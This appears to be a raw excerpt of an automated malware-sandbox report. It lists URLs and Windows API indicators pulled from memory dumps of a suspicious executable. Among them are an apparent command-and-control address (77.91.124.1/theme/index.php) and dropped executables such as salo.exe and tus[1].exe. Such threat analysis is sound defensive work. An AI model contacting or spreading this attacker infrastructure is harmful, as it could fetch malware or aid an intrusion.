Source: "00000000-00002064.00000001.71538.02DC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002064.00000002.73457.02DC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002300.00000000.67631.03330000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002544.00000000.71267.034A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002544.00000001.73185.034A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002612.00000000.69571.02EA0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002612.00000001.71492.02EA0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.anonymously" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00002612.00000001.71492.02F7E000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002612.00000001.71492.030C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002612.00000001.71492.030C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002612.00000001.71492.030C0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eiq" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0x:%eyx+%hxx%" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002612.00000001.71492.07480000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00002612.00000001.71492.6F2F1000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002612.00000002.73412.02EA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcnew" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.anonymously" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00002612.00000002.73412.02F7E000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eiq" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002612.00000002.73412.07480000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportmdataoft\winfender\:\windows\syswow64\windowspowershell\v1.0\powershell.exe7bdaf73-b396-481f-9042-ad358843ec24ocalsettingoverridescan_scheduletimeasttesterrorheartbeatreporttimeasttesterrorheartbeatreporttimeastdefenderdisableheartbeatreporttimepengine_allowedurlexclusiondisabledastsetuperrorheartbeatreporttimeastexclusionsheartbeatreporttimeastsetuperrorheartbeatreporttimeastmapsdisableheartbeatreporttimeastdefenderdisableheartbeatreporttimepengine_zonebasedurlexclusiondisabledastuninstallheartbeatreporttimeastuninstallheartbeatreporttimeastmpsigstuberrorheartbeatreporttimeindows" - Source: "00000000-00002612.00000002.73412.08670000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002612.00000002.73412.08670000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002612.00000002.73412.08670000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002612.00000002.73412.08670000.00000004.mdmp") Found URL "https://connect.microsoft.com/powershell/feedback/details/421837" - Source: "00000000-00002612.00000002.73412.08670000.00000004.mdmp") Found URL "http://pesterbdd.com/images/pester.png" - Source: "00000000-00002612.00000002.73412.08670000.00000004.mdmp") Found URL "https://github.com/pester/pester" - Source: "00000000-00002612.00000002.73412.08670000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00002612.00000002.73412.6C811000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00002612.00000002.73412.6C811000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00002612.00000002.73412.6C811000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003652.00000000.69226.03260000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003652.00000001.71147.03260000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003652.00000002.73068.03260000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004132.00000001.72301.032F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004132.00000002.74222.032F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005148.00000000.70484.03470000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005148.00000001.72403.03470000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005148.00000002.74323.03470000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005868.00000000.70151.03520000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005868.00000002.73991.03520000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006432.00000000.68339.031C0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006604.00000000.70068.02AC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006604.00000001.71988.02AC0000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php\?\scsi" - Source: "00000000-00006736.00000000.69144.01080000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006736.00000000.69144.01080000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpdesktop-fvvf82a192.168.242.1042001:0:34f1:8072:2047:286d:3f57:d97b+ncalrpc:[oleb0ab9b3cee88860a20a2142e5691]t" - Source: "00000000-00006736.00000001.71067.01080000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php:" - Source: "00000000-00006736.00000001.71067.01080000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php\local\microsoft\windows\inetcache\ie\4ekoowyy\tus[1].exeusershapubwsrecorded" - Source: "00000000-00006736.00000001.71067.01080000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006736.00000001.71067.01080000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006736.00000002.72987.01080000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpc:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323\salo[1].exeschannelesktop-fvvf82a\hapubwsibrariesd" - Source: "00000000-00006736.00000002.72987.010B6000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php:\windows\syswow64\onecoreuapcommonproxystub.dll:\windows\syswow64\onecoreuapcommonproxystub.dll\?\volume" - Source: "00000000-00006736.00000002.72987.010B6000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpdesktop-fvvf82a192.168.242.1042001:0:34f1:8072:2047:286d:3f57:d97b+ncalrpc:[oleb0ab9b3cee88860a20a2142e5691]t" - Source: "00000000-00006736.00000002.72987.010B6000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php:" - Source: "00000000-00006736.00000002.72987.010B6000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php\local\microsoft\windows\inetcache\ie\4ekoowyy\tus[1].exeusershapubwsrecorded" - Source: "00000000-00006736.00000002.72987.010B6000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.php\1000061051\salo.exeasycasycasycasycasycasyc1000060051+++tzn8gpnv+dsnxaliugy0xxypcrtexl3qvblea50qgugcqklcsq==" - Source: "00000000-00006736.00000002.72987.010B6000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpthxv>k" - Source: "00000000-00006736.00000002.72987.010B6000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phphj(5w" (Indicator: "GetDC"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")67:T528,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")68:Td2e,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "2YP522uh.exe.1488338988") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "10585360395,6840,3115,,CreateToolhelp32Snapshot,kernel32.dll,"00:17:55.562",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")69:T942,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")6a:T4c7,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")6b:T62e,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 